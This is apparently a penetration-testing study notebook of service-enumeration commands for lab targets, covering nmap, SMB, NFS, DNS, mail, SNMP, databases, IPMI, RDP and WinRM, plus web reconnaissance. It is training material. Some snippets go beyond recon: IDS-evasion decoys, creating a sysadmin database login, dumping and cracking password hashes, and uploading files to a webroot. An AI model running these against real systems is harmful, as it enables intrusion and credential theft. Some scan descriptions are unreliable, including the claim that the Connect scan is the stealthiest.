XML (`-oX`) output to HTML tool: xsltproc ## Fuzzing ### Ffuf Typical Usage ```bash ffuf -w ./SecLists/example.txt:FUZZ -u http://domain.com/FUZZ ``` Recursive search ```bash -recursion -recursion-depth 1 ``` File extension ```bash -e .php ``` Setting and/or fuzz headers (example: VHosts) ```bash -H "Host: FUZZ.domain.com" ``` Filter or Match ```bash -f* -m* ``` Example: Filter (remove) by response size anything of size 600 ``` -fs 600 ``` HTTP Verb ```bash -X POST ``` Data ```bash -d "" ``` Ignore comments ```bash -ic ``` Colorize output ```bash -c ``` Output to file ```bash -o ``` ### PHP Config file defualt positions `X.Y` is the php version Nginx: `/etc/php/X.Y/fpm/php.ini` Apache: `/etc/php/X.Y/apache2/php.ini` ## SNMP Simple Networking Management Protocol Can provide information such as process parameters, routing information, versions and services bound to interfaces `snmpwalk` is used to interact with it * Example: `snmpwalk -v 2c -c public 10.129.42.253 1.3.6.1.2.1.1.5.0` [onesixtyone](https://github.com/trailofbits/onesixtyone) can bruteforce the community string names * Example with included bruteforce file: `onesixtyone -c dict.txt 10.129.42.254` ## Gobuster DNS, vhost, and directory brute-forcing ### Directory mode `gobuster dir` option
FlagDescription
-u <URL>Defines the target URL
-w <path_to_wordlist>Defines the wordlist
### DNS mode
FlagDescription
-d <domain>Defines the target domain
-w <path_to_wordlist>Defines the wordlist (example: SecLists/Discovery/DNS/namelist.txt)
## FTP If it has SSL we can use openssl to connect: ```shell-session openssl s_client -connect 10.129.14.136:21 -starttls ftp ``` ## Custom Wordlist Generation (CeWL) {% embed url="" %} ## Others * Webserver banner: Find in header, can use `curl -IL` * [EyeWitness](https://github.com/FortyNorthSecurity/EyeWitness) * Whatweb: handy tool and contains much functionality to automate web application enumeration # NMAP Scan types explained ## Connect Scan Flag: `-sT` ([TCP Connect Scan](https://nmap.org/book/scan-methods-connect-scan.html)) Uses the TCP three-way handshake to determine if a specific port on a target host is open or closed. The scan sends an `SYN` packet to the target port and waits for a response. It is considered open if the target port responds with an `SYN-ACK` packet and closed if it responds with an `RST` packet. The `Connect` scan is useful because it is the most accurate way to determine the state of a port, and it is also the most stealthy. Unlike other types of scans, such as the SYN scan, the Connect scan does not leave any unfinished connections or unsent packets on the target host, which makes it less likely to be detected by intrusion detection systems (IDS) or intrusion prevention systems (IPS). It is useful when we want to map the network and don't want to disturb the services running behind it, thus causing a minimal impact and sometimes considered a more polite scan method. It is also useful when the target host has a personal firewall that drops incoming packets but allows outgoing packets. In this case, a Connect scan can bypass the firewall and accurately determine the state of the target ports. However, it is important to note that the Connect scan is slower than other types of scans because it requires the scanner to wait for a response from the target after each packet it sends, which could take some time if the target is busy or unresponsive. ### Filtered Ports Packets can either be dropped or rejected: * **Dropped**: using `--packet-trace -n --disable-arp-ping -Pn` we observe 2 SEND and no RECV for SYN packaets * **Rejected**: using the above flags the observe a SEND followed by a RECV ICMP packet `type=3/code=3` marking it as an unreachable port ### UDP Scan Flag: `-sU` Usually longer due to no handshake. Can have flase negatives if the service doesn't respond to EMPTY UDP packets. In this case, a ICMP error code 3 (port unreachable) means that the port is `closed` For all other ICMP responses, the scanned ports are marked as (`open|filtered`). ## Scripts Table of Scripts categories: | `auth` | Determination of authentication credentials. | | ----------- | --------------------------------------------------------------------------------------------------------------------------------------- | | `broadcast` | Scripts, which are used for host discovery by broadcasting and the discovered hosts, can be automatically added to the remaining scans. | | `brute` | Executes scripts that try to log in to the respective service by brute-forcing with credentials. | | `default` | Default scripts executed by using the `-sC` option. | | `discovery` | Evaluation of accessible services. | | `dos` | These scripts are used to check services for denial of service vulnerabilities and are used less as it harms the services. | | `exploit` | This category of scripts tries to exploit known vulnerabilities for the scanned port. | | `external` | Scripts that use external services for further processing. | | `fuzzer` | This uses scripts to identify vulnerabilities and unexpected packet handling by sending different fields, which can take much time. | | `intrusive` | Intrusive scripts that could negatively affect the target system. | | `malware` | Checks if some malware infects the target system. | | `safe` | Defensive scripts that do not perform intrusive and destructive access. | | `version` | Extension for service detection. | | `vuln` | Identification of specific vulnerabilities. | ```shell-session sudo nmap --script ,,... ``` ```shell-session sudo nmap --script ``` ```shell-session sudo nmap -sC ``` ### ACK Scan Flag: `-sA` Sending an `ACK` packet requires the service to reply with `RST` if the port is open. Firewalls struggle detecting this because they can't usually decide if the connection was initiated by the internal network or external. A filtered result can either be rejected (ICMP response) or dropped (no response) # Firewall and IDS/IPS Evasion To determine firewall rules the `-sA` scan is very useful Detecting the presence of IDS or IPS systems may get your IP blocked. It's useful to have multiple VPS boxes with different IPs to perform the pentesting from. ### Decoys Flag: `-D` Generates random IP addresses (for example 5: `-D RND:5`) and uses them as sender addresses in the TCP headers **in addition to our own** actual address. For good measure and to not get detected as a SYN Flood the IP addresses used should be alive. It's possible to manually specify the source IP address with: `-S` usually with `-e tun0` to specify the interface Decoys can be used for SYN, ACK, ICMP scans, and OS detection scans ### DNS Proxying DNS usually uses port `53/UDP` but some modern specifications also use `53/TCP` (Zone transfer, DNSSEC). For this, we can use port 53 as our own source port to be more highly trusted by some not perfectly setup IDS/IPS `--source-port 53` # Footprinting ## Domain Information * [crt.sh](https://crt.sh): Certificate checking for subdomains * Command to get unique list of domains * `curl -s https://crt.sh/?q=inlanefreight.com&output=json | jq . | grep name | cut -d":" -f2 | grep -v "CN=" | cut -d'"' -f2 | awk '{gsub(/\n/,"\n");}1;' | sort -u` * Find internet accessible hosts (and not third party ones as we may not have permissions): * `for i in $(cat subdomainlist);do host $i | grep "has address" | grep inlanefreight.com | cut -d" " -f1,4;done` * [Shodan ](https://www.shodan.io/)all the IPs: * `for i in $(cat ip-addresses.txt);do shodan host $i;done` * Check SSL certs * DNS Records: * `dig any ` * Potential information about services used like gmail, mailgun, logmein, ... ## Cloud Resources Good start on S3 buckets (AWS), blobs (Azure), cloud storage (GCP), R2 Buckets (Cloudflare), ... [Domain.glass](https://domain.glass/) can give good info from the domain name like if Cloudflare is present for buckets information. Try looking for `id_rsa` # Google Dorks `inurl:` Usually put AWS domains or similar `intext:` Used with above to filter by documents containing the company name # Samba (smb) ### smbclient Remember to escape the double `\` before the target IP/Domain. Usually looks like `\\\\10.10.10.10` The rest of the path also need escaping: `\\\\10.10.10.10\\users`
FlagDescription
-Lretrieve a list of available shares
-Nsuppresses the password prompt (null session)
-USpecify user (can be put after address)
{% hint style="info" %} Order matters, for example: `-L -N` will ask for the password still while `-N -L` will work fine {% endhint %} ### rpcclient The [Remote Procedure Call](https://www.geeksforgeeks.org/remote-procedure-call-rpc-in-operating-system/) (`RPC`) is a concept and, therefore, also a central tool to realize operational and work-sharing structures in networks and client-server architectures. [man page](https://www.samba.org/samba/docs/current/man-html/rpcclient.1.html) | `srvinfo` | Server information. | | ------------------------- | ------------------------------------------------------------------ | | `enumdomains` | Enumerate all domains that are deployed in the network. | | `querydominfo` | Provides domain, server, and user information of deployed domains. | | `netshareenumall` | Enumerates all available shares. | | `netsharegetinfo ` | Provides information about a specific share. | | `enumdomusers` | Enumerates all domain users. | | `queryuser ` | Provides information about a specific user. | ``` $ rpcclient -U "" 10.129.14.128 Enter WORKGROUP\'s password: rpcclient $> srvinfo rpcclient $> enumdomains rpcclient $> querydominfo rpcclient $> netshareenumall rpcclient $> netsharegetinfo rpcclient $> enumdomusers rpcclient $> queryuser rpcclient $> querygroup ``` Example of Bash command to enumerate every user based on rid ``` for i in $(seq 500 1100);do rpcclient -N -U "" 10.129.14.128 -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name\|user_rid\|group_rid" && echo "";done ``` {% hint style="info" %} Other tools that automate this: [Samrdump](https://github.com/fortra/impacket/blob/master/examples/samrdump.py), [SMBMap](https://github.com/ShawnDEvans/smbmap) or [CrackMapExec](https://github.com/byt3bl33d3r/CrackMapExec) Worth mentioning but more verbose: [enum4linux-ng](https://github.com/cddmp/enum4linux-ng) {% endhint %} # NFS ```shell-session sudo nmap 10.129.14.128 -p111,2049 -sV -sC ``` More specific scripts: ```shell-session sudo nmap --script nfs* 10.129.14.128 -sV -p111,2049 ``` #### Mount it on local FS (Linux) ```shell-session showmount -e 10.129.14.128 ``` ```shell-session mkdir target-NFS sudo mount -t nfs 10.129.14.128:/ ./target-NFS/ -o nolock ``` NFS file permissions are based on UID and GID like normal Linux FS permissions. Enumerate the UID and GID using `ls -l` and those cna be replicated on local machine. (unless `root_squash` is enabled on the NFS config, then root owned files could not be editable) Also useful to tranfer files with `SUID` flags to move laterally on the host. #### Unmounting ```shell-session sudo umount ./target-NFS ``` # DNS Find other nameservers: ```shell-session dig ns @ ``` Sometimes it's possible to get the version: ```shell-session dig CH TXT version.bind ``` Show all records: ```shell-session dig any ``` ### Zone transfers or Asynchronous Full Transfer Zone (AXFR) They use `TCP` port 53 ```shell-session dig axfr @ ``` If the administrator used a subnet for the `allow-transfer` option for testing purposes or as a workaround solution or set it to `any`, everyone would query the entire zone file at the DNS server. In addition, other zones can be queried, which may even show internal IP addresses and hostnames. Manual bruteforcing: ```shell-session for sub in $(cat /opt/useful/SecLists/Discovery/DNS/subdomains-top1million-110000.txt);do dig $sub.inlanefreight.htb @10.129.14.128 | grep -v ';\|SOA' | sed -r '/^\s*$/d' | grep $sub | tee -a subdomains.txt;done ``` ## Tool [DNSenum](https://github.com/fwaeytens/dnsenum) # SMTP Typical ports: TCP/25 TCP/465 Nmap script: [smtp-open-relay](https://nmap.org/nsedoc/scripts/smtp-open-relay.html) `telnet 25`
CommandDescription
AUTH PLAINAUTH is a service extension used to authenticate the client.
HELOThe client logs in with its computer name and thus starts the session.
MAIL FROMThe client names the email sender.
RCPT TOThe client names the email recipient.
DATAThe client initiates the transmission of the email.
RSETThe client aborts the initiated transmission but keeps the connection between client and server.
VRFYThe client checks if a mailbox is available for message transfer.
EXPNThe client also checks if a mailbox is available for messaging with this command.
NOOPThe client requests a response from the server to prevent disconnection due to time-out.
QUITThe client terminates the session.
## Tools Metasploit (msfconsole) module: `scanner/smtp/smtp_enum` [smtp-user-enum](https://www.kali.org/tools/smtp-user-enum/) # IMAP/POP3 IMAP on ports: TCP/143 or TCP/993 | POP3 on ports: TCP/110 and TCP/995 ## **IMAP Commands** | **Command** | **Description** | | ------------------------------- | ------------------------------------------------------------------------------------------------------------- | | `1 LOGIN username password` | User's login. | | `1 LIST "" *` | Lists all directories. | | `1 CREATE "INBOX"` | Creates a mailbox with a specified name. | | `1 DELETE "INBOX"` | Deletes a mailbox. | | `1 RENAME "ToRead" "Important"` | Renames a mailbox. | | `1 LSUB "" *` | Returns a subset of names from the set of names that the User has declared as being `active` or `subscribed`. | | `1 SELECT INBOX` | Selects a mailbox so that messages in the mailbox can be accessed. | | `1 UNSELECT INBOX` | Exits the selected mailbox. | | `1 FETCH all` | Retrieves data associated with a message in the mailbox. | | `1 CLOSE` | Removes all messages with the `Deleted` flag set. | | `1 LOGOUT` | Closes the connection with the IMAP server. | `1 FETCH 1:* full` to get most information `1 FETCH 1:* BODY[TEXT]` to get the text in the body ## **POP3 Commands** | **Command** | **Description** | | --------------- | ----------------------------------------------------------- | | `USER username` | Identifies the user. | | `PASS password` | Authentication of the user using its password. | | `STAT` | Requests the number of saved emails from the server. | | `LIST` | Requests from the server the number and size of all emails. | | `RETR id` | Requests the server to deliver the requested email by ID. | | `DELE id` | Requests the server to delete the requested email by ID. | | `CAPA` | Requests the server to display the server capabilities. | | `RSET` | Requests the server to reset the transmitted information. | | `QUIT` | Closes the connection with the POP3 server. | ## Dangerous Configuration settings | **Setting** | **Description** | | ------------------------- | ----------------------------------------------------------------------------------------- | | `auth_debug` | Enables all authentication debug logging. | | `auth_debug_passwords` | This setting adjusts log verbosity, the submitted passwords, and the scheme gets logged. | | `auth_verbose` | Logs unsuccessful authentication attempts and their reasons. | | `auth_verbose_passwords` | Passwords used for authentication are logged and can also be truncated. | | `auth_anonymous_username` | This specifies the username to be used when logging in with the ANONYMOUS SASL mechanism. | ## Tools nmap with default scripts curl `curl -k 'imaps://' --user user:p4ssw0rd` OpenSSL for encrypted interactions: * `openssl s_client -connect 10.129.14.128:pop3s` * `openssl s_client -connect 10.129.14.128:imaps` # SNMP Port: UDP/161 and Traps at UDP/162 ## MIB Management Information Base. Offers a standardized tree view of all queryable SNMP objects `Abstract Syntax Notation One` (`ASN.1`) based ASCII text format The MIBs do not contain data, but they explain where to find which information and what it looks like ## OID The OIDs consist of integers and are usually concatenated by dot notation. We can look up many MIBs for the associated OIDs in the [Object Identifier Registry](https://www.alvestrand.no/objectid/). ## Versions v1 and v2 are plain text and unencrypted. v3 adds authentication and encryption (pre-shared key). ## **Community Strings** Community strings can be seen as passwords that are used to determine whether the requested information can be viewed or not. It is important to note that many organizations are still using `SNMPv2`, as the transition to `SNMPv3` can be very complex, but the services still need to remain active ## Dangerous settings | **Settings** | **Description** | | ------------------------------------------------ | ------------------------------------------------------------------------------------- | | `rwuser noauth` | Provides access to the full OID tree without authentication. | | `rwcommunity ` | Provides access to the full OID tree regardless of where the requests were sent from. | | `rwcommunity6 ` | Same access as with `rwcommunity` with the difference of using IPv6. | ## Tools snmpwalk * `snmpwalk -v2c -c public ` onesixtyone * `onesixtyone -c /opt/useful/SecLists/Discovery/SNMP/snmp.txt ` braa * `braa @:.1.3.6.*` # MySQL Port: TCP/3306 `sudo nmap 10.129.14.128 -sV -sC -p3306 --script mysql*` | `mysql -u -p -h ` | Connect to the MySQL server. There should **not** be a space between the '-p' flag, and the password. | | ---------------------------------------------------- | ----------------------------------------------------------------------------------------------------- | | `show databases;` | Show all databases. | | `use ;` | Select one of the existing databases. | | `show tables;` | Show all available tables in the selected database. | | `show columns from ;` | Show all columns in the selected database. | | `select * from
;` | Show everything in the desired table. | | `select * from
where = "";` | Search for needed `string` in the desired table. | | | | | ---------------------------------------------- | ------- | | `select version();` | Version | | `use mysql;` | | | `show tables;` | | | `select host, unique_users from host_summary;` | | # MSSQL Port: TCP/1433 Clients: * [SQL Server Management Studio](https://docs.microsoft.com/en-us/sql/ssms/download-sql-server-management-studio-ssms?view=sql-server-ver15) * [mssql-cli](https://docs.microsoft.com/en-us/sql/tools/mssql-cli?view=sql-server-ver15) * [SQL Server PowerShell](https://docs.microsoft.com/en-us/sql/powershell/sql-server-powershell?view=sql-server-ver15) * [HeidiSQL](https://www.heidisql.com/) * [SQLPro](https://www.macsqlclient.com/) * [Impacket's mssqlclient.py](https://github.com/fortra/impacket/blob/master/examples/mssqlclient.py) (Usually `mssqlclient.py`, or try `impacket-mssqlclient`) For Impacket's (often included in pentesting distros): ```shell-session locate mssqlclient ``` Impacket's default login is NOT the Windows login, use `-windows-auth` | Default System Database | Description | | ----------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | | `master` | Tracks all system information for an SQL server instance | | `model` | Template database that acts as a structure for every new database created. Any setting changed in the model database will be reflected in any new database created after changes to the model database | | `msdb` | The SQL Server Agent uses this database to schedule jobs & alerts | | `tempdb` | Stores temporary objects | | `resource` | Read-only database containing system objects included with SQL server | ## nmap command ```shell-session sudo nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 10.129.201.248 ``` ## Metasplot module: `mssql_ping` ```shell-session set rhosts 10.129.201.248 run ``` ## Common enumeration from [HackTricks](https://book.hacktricks.xyz/network-services-pentesting/pentesting-mssql-microsoft-sql-server#manual-enumeration) ``` # Get version select @@version; # Get user select user_name(); # Get databases SELECT name FROM master.dbo.sysdatabases; # Use database USE master #Get table names SELECT * FROM .INFORMATION_SCHEMA.TABLES; #List Linked Servers EXEC sp_linkedservers SELECT * FROM sys.servers; #List users select sp.name as login, sp.type_desc as login_type, sl.password_hash, sp.create_date, sp.modify_date, case when sp.is_disabled = 1 then 'Disabled' else 'Enabled' end as status from sys.server_principals sp left join sys.sql_logins sl on sp.principal_id = sl.principal_id where sp.type not in ('G', 'R') order by sp.name; #Create user with sysadmin privs CREATE LOGIN hacker WITH PASSWORD = 'P@ssword123!' EXEC sp_addsrvrolemember 'hacker', 'sysadmin' #Enumerate links enum_links #Use a link use_link [NAME] ``` # Oracle TNS Port: TCP/1521 The TNS listener is configured to support various network protocols, including `TCP/IP`, `UDP`, `IPX/SPX`, and `AppleTalk` The configuration files for Oracle TNS are called `tnsnames.ora` and `listener.ora` and are typically located in the `$ORACLE_HOME/network/admin` directory Oracle 9 has a default password, `CHANGE_ON_INSTALL`, whereas Oracle 10 has no default password set Oracle DBSNMP service also uses a default password, `dbsnmp` Each database or service has a unique entry in the [tnsnames.ora](https://docs.oracle.com/cd/E11882_01/network.112/e10835/tnsnames.htm#NETRF007) file In Oracle RDBMS, a System Identifier (`SID`) is a unique name that identifies a particular database instance The SIDs are an essential part of the connection process, as it identifies the specific instance of the database the client wants to connect to. There are various ways to enumerate, or better said, guess SIDs. Therefore we can use tools like `nmap`, `hydra`, `odat`, and others. ## Tools ```bash ./odat.py -h ``` If not installed, see [Pentesting Machine](/pentesting-machine) ## **Nmap - SID Bruteforcing** ```bash sudo nmap -p1521 -sV 10.129.204.235 --open --script oracle-sid-brute ``` ## ODAT - More information, user bruteforcing included ```shell-session ./odat.py all -s 10.129.204.235 ``` ## **SQLplus - Log In** ```shell-session sqlplus /@/ ``` {% hint style="info" %} In case of error `sqlplus: error while loading shared libraries: libsqlplus.so: cannot open shared object file: No such file or directory` execute: `sudo sh -c "echo /usr/lib/oracle/12.2/client64/lib > /etc/ld.so.conf.d/oracle-instantclient.conf";sudo ldconfig` {% endhint %} [SQLplus commands](https://docs.oracle.com/cd/E11882_01/server.112/e41085/sqlqraa001.htm#SQLQR985): ```shell-session select table_name from all_tables; ``` ```shell-session select * from user_role_privs; ``` ## Database Enumeration possible to try known credentials to use the System Databse Admin `sysdba`: ```shell-session sqlplus scott/tiger@10.129.204.235/XE as sysdba ``` Then list current user privs: ```shell-session select * from user_role_privs; ``` From this point, we could retrieve the password hashes from the `sys.user$` and try to crack them offline: ```shell-session select name, password from sys.user$; ``` ## **Oracle RDBMS - File Upload** ```bash echo "Oracle File Upload Test" > testing.txt ./odat.py utlfile -s 10.129.204.235 -d XE -U scott -P tiger --sysdba --putFile C:\\inetpub\\wwwroot testing.txt ./testing.txt ``` ```bash curl -X GET http://10.129.204.235/testing.txt ``` # IPMI Port UDP/623 [Intelligent Platform Management Interface](https://www.thomas-krenn.com/en/wiki/IPMI_Basics) (`IPMI`) is a set of standardized specifications for hardware-based host management systems used for system management and monitoring. IPMI is typically used in three ways: * Before the OS has booted to modify BIOS settings * When the host is fully powered down * Access to a host after a system failure ## Tools ```bash sudo nmap -sU --script ipmi-version -p 623 ilo.inlanfreight.local ``` ### Metasploit version scan ```metafont use auxiliary/scanner/ipmi/ipmi_version ``` ### Flaw [flaw](http://fish2.com/ipmi/remote-pw-cracking.html) in the RAKP protocol in IPMI 2.0. During the authentication process, the server sends a salted SHA1 or MD5 hash of the user's password to the client before authentication takes place. `Hashcat` mode `7300` `hashcat -m 7300 ipmi.txt -a 3 ?1?1?1?1?1?1?1?1 -1 ?d?u` To retrieve IPMI hashes, we can use the Metasploit [IPMI 2.0 RAKP Remote SHA1 Password Hash Retrieval](https://www.rapid7.com/db/modules/auxiliary/scanner/ipmi/ipmi_dumphashes/) module ```shell-session use auxiliary/scanner/ipmi/ipmi_dumphashes set rhosts run ``` # SSH Port 22/TCP [ssh-audit](https://github.com/jtesta/ssh-audit) # RDP Port: TCP/3389 A Perl script named [rdp-sec-check.pl](https://github.com/CiscoCXSecurity/rdp-sec-check) has also been developed by [Cisco CX Security Labs](https://github.com/CiscoCXSecurity) that can unauthentically identify the security settings of RDP servers based on the handshakes. 
git clone https://github.com/CiscoCXSecurity/rdp-sec-check.git && cd rdp-sec-check
./rdp-sec-check.pl 10.129.201.248
RDP Clients: `xfreerdp`, `rdesktop`, or `Remmina` ```shell-session xfreerdp /u:cry0l1t3 /p:"P455w0rd!" /v:10.129.201.248 ``` # WinRM Ports: TCP/5985, TCP/5986 ```shell-session nmap -sV -sC 10.129.201.248 -p5985,5986 --disable-arp-ping -n ``` If we want to find out whether one or more remote servers can be reached via WinRM, we can easily do this with the help of PowerShell. The [Test-WsMan](https://docs.microsoft.com/en-us/powershell/module/microsoft.wsman.management/test-wsman?view=powershell-7.2) cmdlet is responsible for this, and the host's name in question is passed to it. In Linux-based environments, we can use the tool called [evil-winrm](https://github.com/Hackplayers/evil-winrm), another penetration testing tool designed to interact with WinRM. ```shell-session evil-winrm -i 10.129.201.248 -u Cry0l1t3 -p P455w0rD! ``` # Web Information Gathering ## Active Reconnaissance | Technique | Description | Example | Tools | Risk of Detection | | ------------------------ | --------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------ | | `Port Scanning` | Identifying open ports and services running on the target. | Using Nmap to scan a web server for open ports like 80 (HTTP) and 443 (HTTPS). | Nmap, Masscan, Unicornscan | High: Direct interaction with the target can trigger intrusion detection systems (IDS) and firewalls. | | `Vulnerability Scanning` | Probing the target for known vulnerabilities, such as outdated software or misconfigurations. | Running Nessus against a web application to check for SQL injection flaws or cross-site scripting (XSS) vulnerabilities. | Nessus, OpenVAS, Nikto | High: Vulnerability scanners send exploit payloads that security solutions can detect. | | `Network Mapping` | Mapping the target's network topology, including connected devices and their relationships. | Using traceroute to determine the path packets take to reach the target server, revealing potential network hops and infrastructure. | Traceroute, Nmap | Medium to High: Excessive or unusual network traffic can raise suspicion. | | `Banner Grabbing` | Retrieving information from banners displayed by services running on the target. | Connecting to a web server on port 80 and examining the HTTP banner to identify the web server software and version. | Netcat, curl | Low: Banner grabbing typically involves minimal interaction but can still be logged. | | `OS Fingerprinting` | Identifying the operating system running on the target. | Using Nmap's OS detection capabilities (`-O`) to determine if the target is running Windows, Linux, or another OS. | Nmap, Xprobe2 | Low: OS fingerprinting is usually passive, but some advanced techniques can be detected. | | `Service Enumeration` | Determining the specific versions of services running on open ports. | Using Nmap's service version detection (`-sV`) to determine if a web server is running Apache 2.4.50 or Nginx 1.18.0. | Nmap | Low: Similar to banner grabbing, service enumeration can be logged but is less likely to trigger alerts. | | `Web Spidering` | Crawling the target website to identify web pages, directories, and files. | Running a web crawler like Burp Suite Spider or OWASP ZAP Spider to map out the structure of a website and discover hidden resources. | Burp Suite Spider, OWASP ZAP Spider, Scrapy (customisable) | Low to Medium: Can be detected if the crawler's behaviour is not carefully configured to mimic legitimate traffic. | ## Passive Reconnaissance | Technique | Description | Example | Tools | Risk of Detection | | ----------------------- | ------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------ | | `Search Engine Queries` | Utilising search engines to uncover information about the target, including websites, social media profiles, and news articles. | Searching Google for "`[Target Name] employees`" to find employee information or social media profiles. | Google, DuckDuckGo, Bing, and specialised search engines (e.g., Shodan) | Very Low: Search engine queries are normal internet activity and unlikely to trigger alerts. | | `WHOIS Lookups` | Querying WHOIS databases to retrieve domain registration details. | Performing a WHOIS lookup on a target domain to find the registrant's name, contact information, and name servers. | whois command-line tool, online WHOIS lookup services | Very Low: WHOIS queries are legitimate and do not raise suspicion. | | `DNS` | Analysing DNS records to identify subdomains, mail servers, and other infrastructure. | Using `dig` to enumerate subdomains of a target domain. | dig, nslookup, host, dnsenum, fierce, dnsrecon | Very Low: DNS queries are essential for internet browsing and are not typically flagged as suspicious. | | `Web Archive Analysis` | Examining historical snapshots of the target's website to identify changes, vulnerabilities, or hidden information. | Using the Wayback Machine to view past versions of a target website to see how it has changed over time. | Wayback Machine | Very Low: Accessing archived versions of websites is a normal activity. | | `Social Media Analysis` | Gathering information from social media platforms like LinkedIn, Twitter, or Facebook. | Searching LinkedIn for employees of a target organisation to learn about their roles, responsibilities, and potential social engineering targets. | LinkedIn, Twitter, Facebook, specialised OSINT tools | Very Low: Accessing public social media profiles is not considered intrusive. | | `Code Repositories` | Analysing publicly accessible code repositories like GitHub for exposed credentials or vulnerabilities. | Searching GitHub for code snippets or repositories related to the target that might contain sensitive information or code vulnerabilities. | GitHub, GitLab | Very Low: Code repositories are meant for public access, and searching them is not suspicious. | # Whois ### Why WHOIS Matters for Web Recon * `Identifying Key Personnel`: WHOIS records often reveal the names, email addresses, and phone numbers of individuals responsible for managing the domain. This information can be leveraged for social engineering attacks or to identify potential targets for phishing campaigns. * `Discovering Network Infrastructure`: Technical details like name servers and IP addresses provide clues about the target's network infrastructure. This can help penetration testers identify potential entry points or misconfigurations. * `Historical Data Analysis`: Accessing historical WHOIS records through services like [WhoisFreaks](https://whoisfreaks.com/) can reveal changes in ownership, contact information, or technical details over time. This can be useful for tracking the evolution of the target's digital presence. # DNS & Subdomains ## Tools | Tool | Key Features | Use Cases | | -------------------------- | ------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------- | | `dig` | Versatile DNS lookup tool that supports various query types (A, MX, NS, TXT, etc.) and detailed output. | Manual DNS queries, zone transfers (if allowed), troubleshooting DNS issues, and in-depth analysis of DNS records. | | `nslookup` | Simpler DNS lookup tool, primarily for A, AAAA, and MX records. | Basic DNS queries, quick checks of domain resolution and mail server records. | | `host` | Streamlined DNS lookup tool with concise output. | Quick checks of A, AAAA, and MX records. | | `dnsenum` | Automated DNS enumeration tool, dictionary attacks, brute-forcing, zone transfers (if allowed). | Discovering subdomains and gathering DNS information efficiently. | | `fierce` | DNS reconnaissance and subdomain enumeration tool with recursive search and wildcard detection. | User-friendly interface for DNS reconnaissance, identifying subdomains and potential targets. | | `dnsrecon` | Combines multiple DNS reconnaissance techniques and supports various output formats. | Comprehensive DNS enumeration, identifying subdomains, and gathering DNS records for further analysis. | | `theHarvester` | OSINT tool that gathers information from various sources, including DNS records (email addresses). | Collecting email addresses, employee information, and other data associated with a domain from multiple sources. | | Online DNS Lookup Services | User-friendly interfaces for performing DNS lookups. | Quick and easy DNS lookups, convenient when command-line tools are not available, checking for domain availability or basic information | ### Dig | Command | Description | | ------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | `dig domain.com` | Performs a default A record lookup for the domain. | | `dig domain.com A` | Retrieves the IPv4 address (A record) associated with the domain. | | `dig domain.com AAAA` | Retrieves the IPv6 address (AAAA record) associated with the domain. | | `dig domain.com MX` | Finds the mail servers (MX records) responsible for the domain. | | `dig domain.com NS` | Identifies the authoritative name servers for the domain. | | `dig domain.com TXT` | Retrieves any TXT records associated with the domain. | | `dig domain.com CNAME` | Retrieves the canonical name (CNAME) record for the domain. | | `dig domain.com SOA` | Retrieves the start of authority (SOA) record for the domain. | | `dig @1.1.1.1 domain.com` | Specifies a specific name server to query; in this case 1.1.1.1 | | `dig +trace domain.com` | Shows the full path of DNS resolution. | | `dig -x 192.168.1.1` | Performs a reverse lookup on the IP address 192.168.1.1 to find the associated host name. You may need to specify a name server. (PTR) | | `dig +short domain.com` | Provides a short, concise answer to the query. | | `dig +noall +answer domain.com` | Displays only the answer section of the query output. | | `dig domain.com ANY` | Retrieves all available DNS records for the domain (Note: Many DNS servers ignore `ANY` queries to reduce load and prevent abuse, as per [RFC 8482](https://datatracker.ietf.org/doc/html/rfc8482)). | `dig +short` to get a short answer ## Subdomains ### Active Subdomain Enumeration This involves directly interacting with the target domain's DNS servers to uncover subdomains. One method is attempting a `DNS zone transfer`, where a misconfigured server might inadvertently leak a complete list of subdomains. However, due to tightened security measures, this is rarely successful. A more common active technique is `brute-force enumeration`, which involves systematically testing a list of potential subdomain names against the target domain. Tools like `dnsenum`, `ffuf`, and `gobuster` can automate this process, using wordlists of common subdomain names or custom-generated lists based on specific patterns. ### Passive Subdomain Enumeration This relies on external sources of information to discover subdomains without directly querying the target's DNS servers. One valuable resource is `Certificate Transparency (CT) logs`, public repositories of SSL/TLS certificates. These certificates often include a list of associated subdomains in their Subject Alternative Name (SAN) field, providing a treasure trove of potential targets. Another passive approach involves utilising `search engines` like Google or DuckDuckGo. By employing specialised search operators (e.g., `site:`), you can filter results to show only subdomains related to the target domain. Additionally, various online databases and tools aggregate DNS data from multiple sources, allowing you to search for subdomains without directly interacting with the target. Each of these methods has its strengths and weaknesses. Active enumeration offers more control and potential for comprehensive discovery but can be more detectable. Passive enumeration is stealthier but might not uncover all existing subdomains. Combining both approaches provides a more thorough and effective subdomain enumeration strategy. ## Subdomain Bruteforcing
ToolDescription
dnsenumComprehensive DNS enumeration tool that supports dictionary and brute-force attacks for discovering subdomains.
fierceUser-friendly tool for recursive subdomain discovery, featuring wildcard detection and an easy-to-use interface.
dnsreconVersatile tool that combines multiple DNS reconnaissance techniques and offers customisable output formats.
amassActively maintained tool focused on subdomain discovery, known for its integration with other tools and extensive data sources.
assetfinderSimple yet effective tool for finding subdomains using various techniques, ideal for quick and lightweight scans.
purednsPowerful and flexible DNS brute-forcing tool, capable of resolving and filtering results effectively.
